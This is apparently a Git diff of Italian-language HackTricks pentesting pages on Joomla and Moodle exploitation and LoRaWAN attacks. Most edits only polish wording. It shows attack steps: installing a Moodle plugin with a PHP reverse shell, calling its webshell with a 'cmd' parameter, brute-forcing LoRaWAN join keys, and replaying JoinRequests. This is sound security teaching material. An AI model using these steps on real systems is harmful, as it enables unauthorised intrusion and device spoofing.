- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Script di sfruttamento Joomla che **eleva XSS a RCE o altre vulnerabilità critiche**. Per ulteriori informazioni controlla [**questo post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **supporto per le versioni di Joomla 5.X.X, 4.X.X e 3.X.X, e consente di:**
|
||||
- _**Privilegi di Escalation:**_ Crea un utente in Joomla.
|
||||
- _**(RCE) Modifica Template Integrati:**_ Modifica un Template Integrato in Joomla.
|
||||
- _**(Custom) Sfruttamenti Personalizzati:**_ Sfruttamenti Personalizzati per Plugin Joomla di Terze Parti.
|
||||
- _**Escalation dei privilegi:**_ Crea un utente in Joomla.
|
||||
- _**(RCE) Modifica dei template integrati:**_ Modifica un template integrato in Joomla.
|
||||
- _**(Custom) Sfruttamenti personalizzati:**_ Sfruttamenti personalizzati per plugin Joomla di terze parti.
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -20,8 +20,8 @@ http://moodle.schooled.htb/moodle/mod/forum/version.php
|
||||
3.10.0-beta
|
||||
|
||||
[+] Possible interesting urls found:
|
||||
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
|
||||
Admin panel - http://moodle.schooled.htb/moodle/login/
|
||||
Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
|
||||
Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)
|
||||
|
||||
[+] Scan finished (0:00:05.643539 elapsed)
|
||||
```
|
||||
@ -70,9 +70,9 @@ Devi avere il ruolo di **manager** e puoi **installare plugin** all'interno dell
|
||||
|
||||
.png>)
|
||||
|
||||
Se sei un manager, potresti comunque dover **attivare questa opzione**. Puoi vedere come nel PoC di escalation dei privilegi di moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
|
||||
Se sei manager potresti comunque dover **attivare questa opzione**. Puoi vedere come nel PoC di escalation dei privilegi di moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
|
||||
|
||||
Poi, puoi **installare il seguente plugin** che contiene il classico pentest-monkey php r**ev shell** (_prima di caricarlo devi decomprimerlo, cambiare l'IP e la porta del revshell e ricomprimerlo di nuovo_)
|
||||
Poi, puoi **installare il seguente plugin** che contiene la classica r**ev shell** php di pentest-monkey (_prima di caricarlo devi decomprimerlo, cambiare l'IP e la porta della revshell e ricomprimerlo_)
|
||||
|
||||
{{#file}}
|
||||
moodle-rce-plugin.zip
|
||||
@ -80,7 +80,7 @@ moodle-rce-plugin.zip
|
||||
|
||||
Oppure potresti usare il plugin da [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) per ottenere una shell PHP regolare con il parametro "cmd".
|
||||
|
||||
Per accedere e lanciare il plugin malevolo, devi accedere a:
|
||||
Per accedere e lanciare il plugin malevolo devi accedere a:
|
||||
```bash
|
||||
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
|
||||
```
|
||||
|
||||
@ -26,7 +26,7 @@ Long Range (**LoRa**) è attualmente il livello fisico LPWAN più distribuito e
|
||||
| Livello | Vulnerabilità | Impatto pratico |
|
||||
|-------|----------|------------------|
|
||||
| PHY | Jammazione reattiva / selettiva | 100 % di perdita di pacchetti dimostrata con un singolo SDR e <1 W di output |
|
||||
| MAC | Replay di Join-Accept & data-frame (riutilizzo nonce, rollover contatore ABP) | Spoofing del dispositivo, iniezione di messaggi, DoS |
|
||||
| MAC | Replay di Join-Accept e data-frame (riutilizzo nonce, rollover contatore ABP) | Spoofing del dispositivo, iniezione di messaggi, DoS |
|
||||
| Server di rete | Inoltratore di pacchetti insicuro, filtri MQTT/UDP deboli, firmware del gateway obsoleto | RCE sui gateway → pivot nel network OT/IT |
|
||||
| Applicazione | AppKeys hard-coded o prevedibili | Attacco di forza bruta/decrittazione del traffico, impersonificazione dei sensori |
|
||||
|
||||
@ -35,7 +35,7 @@ Long Range (**LoRa**) è attualmente il livello fisico LPWAN più distribuito e
|
||||
## Vulnerabilità recenti (2023-2025)
|
||||
|
||||
* **CVE-2024-29862** – *ChirpStack gateway-bridge & mqtt-forwarder* ha accettato pacchetti TCP che bypassavano le regole del firewall stateful sui gateway Kerlink, consentendo l'esposizione dell'interfaccia di gestione remota. Risolto in 4.0.11 / 4.2.1 rispettivamente.
|
||||
* **Dragino LG01/LG308 series** – Molteplici CVE 2022-2024 (ad es. 2022-45227 traversata di directory, 2022-45228 CSRF) ancora osservati non patchati nel 2025; abilitano il dump del firmware non autenticato o la sovrascrittura della configurazione su migliaia di gateway pubblici.
|
||||
* **Dragino LG01/LG308 series** – Molteplici CVE dal 2022 al 2024 (ad es. 2022-45227 traversata di directory, 2022-45228 CSRF) ancora osservati non patchati nel 2025; abilitano il dump del firmware non autenticato o la sovrascrittura della configurazione su migliaia di gateway pubblici.
|
||||
* Overflow *packet-forwarder UDP* di Semtech (avviso non rilasciato, patchato 2023-10): uplink creato più grande di 255 B ha attivato uno stack-smash ‑> RCE sui gateway di riferimento SX130x (trovato da Black Hat EU 2023 “LoRa Exploitation Reloaded”).
|
||||
|
||||
---
|
||||
@ -55,7 +55,7 @@ python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
|
||||
|
||||
1. Cattura un legittimo **JoinRequest**.
|
||||
2. Ritrasmettilo immediatamente (o incrementa RSSI) prima che il dispositivo originale trasmetta di nuovo.
|
||||
3. Il server di rete assegna un nuovo DevAddr e chiavi di sessione mentre il dispositivo target continua con la vecchia sessione → l'attaccante possiede la sessione vacante e può iniettare uplink falsificati.
|
||||
3. Il server di rete assegna un nuovo DevAddr e chiavi di sessione mentre il dispositivo target continua con la vecchia sessione → l'attaccante possiede una sessione vacante e può iniettare uplink falsificati.
|
||||
|
||||
### 3. Downgrading Adaptive Data-Rate (ADR)
|
||||
|
||||
@ -90,6 +90,6 @@ Forza SF12/125 kHz per aumentare il tempo di trasmissione → esaurisci il ciclo
|
||||
|
||||
## Riferimenti
|
||||
|
||||
* LoRaWAN Auditing Framework (LAF) – https://github.com/IOActive/laf
|
||||
* Panoramica di Trend Micro LoRaPWN – https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a
|
||||
* LoRaWAN Auditing Framework (LAF) – [https://github.com/IOActive/laf](https://github.com/IOActive/laf)
|
||||
* Panoramica di Trend Micro LoRaPWN – [https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a](https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a)
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user